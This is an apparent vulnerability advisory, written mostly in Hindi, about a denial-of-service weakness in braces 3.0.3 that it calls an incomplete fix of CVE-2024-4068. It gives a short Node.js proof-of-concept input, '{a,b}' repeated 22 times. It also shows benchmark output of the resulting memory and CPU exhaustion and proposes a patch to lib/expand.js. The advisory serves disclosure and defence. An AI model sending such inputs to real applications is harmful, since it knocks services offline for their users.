
CVE-Candidate: [email protected] में अल्पविराम-पृथक ब्रेस विस्तार के माध्यम से DoS (CVE-2024-4068 अपूर्ण सुधार)
पैकेज: braces (npm) संस्करण: 3.0.3 (नवीनतम) गंभीरता: उच्च (CVSS 7.5) CWE: CWE-400 अनियंत्रित संसाधन खपत स्थिति: अरिपोर्टेड
नोट: यह एक स्वतंत्र खोज है। CVE-2024-4068 ने इनपुट लंबाई सीमित करने (MAX_LENGTH=10000) को संबोधित किया, लेकिन कोमा-पृथक ब्रेस पैटर्न से संयोजनात्मक आउटपुट विस्फोट को ठीक नहीं किया। CVE-2026-45149 एक अलग पैकेज (
juliangruber/brace-expansion) को प्रभावित करता है, न किmicromatch/bracesको।
braces लाइब्रेरी कोमा-पृथक ब्रेस विस्तार पैटर्न प्रसंस्करण करते समय अनियंत्रित संसाधन खपत के माध्यम से सेवा अस्वीकार के प्रति संवेदनशील है।
केवल 110 वर्णों जितना एक दुर्भावनापूर्ण इनपुट लाइब्रेरी को मेमोरी में 4.2 मिलियन आइटम उत्पन्न करने, 1.2GB+ RAM की खपत करने और 9-30 सेकंड के लिए CPU को अवरुद्ध करने का कारण बनता है (हार्डवेयर के अनुसार भिन्न होता है)।
यह CVE-2024-4068 के लिए एक अपूर्ण सुधार है। मूल पैच ने इनपुट लंबाई को 10,000 वर्णों तक सीमित किया लेकिन कोमा-पृथक विस्तारों के संयोजनात्मक आउटपुट को सीमित नहीं किया।
braces micromatch की एक निर्भरता है, जिसका उपयोग निम्न द्वारा किया जाता है:
कोई भी एप्लिकेशन जो उपयोगकर्ता-नियंत्रित इनपुट को braces.expand() में पास करता है, संवेदनशील है।
lib/expand.js में, rangeLimit गार्ड केवल संख्यात्मक श्रेणियों ({1..1000}) की जांच करता है, कोमा-पृथक पैटर्न ({a,b}) की नहीं:
// lib/expand.js:57
if (node.ranges > 0) { // only numeric ranges are checked
if (utils.exceedsLimit(...args, options.step, rangeLimit)) {
throw new RangeError('...');
}
}
// Comma-separated expansions skip this check entirely
append() फ़ंक्शन बिना किसी आउटपुट सीमा के सभी 2^N संयोजनों को एक सरणी में पुनरावर्ती रूप से बनाता है।
mkdir braces-test && cd braces-test
npm init -y && npm install [email protected]
node -e "
const braces = require('braces');
const input = '{a,b}'.repeat(22);
console.time('expand');
const result = braces.expand(input);
console.timeEnd('expand');
console.log('Items:', result.length.toLocaleString());
"
# Install dependency first
npm install [email protected]
python3 poc_braces_dos.py
आइटम गणना नियतात्मक हैं। समय और मेमोरी हार्डवेयर के अनुसार भिन्न होते हैं।
======================================================================
PoC: braces 3.0.3 Denial of Service
CVE-CANDIDATE: CVE-2024-4068 incomplete fix
======================================================================
[*] Finding DoS threshold...
n=10: input= 50 chars -> 1,024 items, 4,096 chars, 11ms, +912KB
n=15: input= 75 chars -> 32,768 items, 163,840 chars, 96ms, +15915KB
n=18: input= 90 chars -> 262,144 items, 1,310,720 chars, 737ms, +115535KB
n=20: input= 100 chars -> 1,048,576 items, 5,242,880 chars, 1833ms, +242558KB
n=22: input= 110 chars -> 4,194,304 items, 20,971,520 chars, 9723ms, +1196410KB
n=25: TIMEOUT/OOM
[*] निष्कर्ष:
- इनपुट आकार: 110 वर्ण (10,000 वर्ण सीमा के भीतर)
- मेमोरी खपत: >1.2GB
- CPU अवरोध समय: ~10 सेकंड
braces.expand(input)
-> lib/expand.js:walk()
-> lib/expand.js:append() <- no output limit
-> recursively builds all 2^N combinations
-> returns massive array
संयोजनात्मक विस्फोट को रोकने के लिए lib/expand.js में प्रत्येक संयोजन चरण पर एक सीमा जांच जोड़ें। walk() के अंदर append के कॉल को एक मान्यता सहायक के साथ लपेटें:
const queueLimit = (queue, stash, enclose) => {
if (rangeLimit === Infinity) return append(queue, stash, enclose);
const queueLength = queue ? [].concat(queue).length : 0;
const stashLength = [].concat(stash).length;
const nextLength = queueLength === 0 ? stashLength : (stashLength === 0 ? queueLength : queueLength * stashLength);
if (nextLength > rangeLimit) {
throw new RangeError('expanded array length exceeds range limit. Use options.rangeLimit to increase or disable the limit.');
}
return append(queue, stash, enclose);
};
walk() के अंदर append() के कॉल को queueLimit() से बदलने से यह सुनिश्चित होता है कि लगातार ब्रेसेस और श्रेणियों के संयोजन सुरक्षित रूप से बाध्य हैं।
| तिथि | घटना |
|---|---|
| 2026-07-17 | कमजोरी की खोज |
| 2026-07-21 | सार्वजनिक प्रकटीकरण (जिम्मेदार प्रकटीकरण अभी शुरू नहीं हुआ) |
द्वारा खोजा गया cyeezy08।
| इनपुट (वर्ण) | आउटपुट आइटम | समय (लगभग) | मेमोरी (लगभग) |
|---|
| 50 | 1,024 | ~10ms | ~1MB |
| 75 | 32,768 | ~100ms | ~16MB |
| 90 | 262,144 | ~700ms | ~116MB |
| 100 | 1,048,576 | ~2-4s | ~243-468MB |
| 110 | 4,194,304 | ~10-30s | ~1.2GB+ |
| 125+ | Crash/OOM | Timeout | OOM Kill |
| फ़ाइल | विवरण |
|---|
poc_braces_dos.py | कार्यशील PoC स्क्रिप्ट |
findings.md | विस्तृत कमजोरी विश्लेषण |
verdict.md | पुष्टि और CVSS स्कोर |
disclosure-report.md | सबमिट करने के लिए तैयार सलाह |
patch.diff | lib/expand.js के लिए प्रस्तावित सुधार |
email-draft.txt | अनुरक्षकों को मसौदा ईमेल |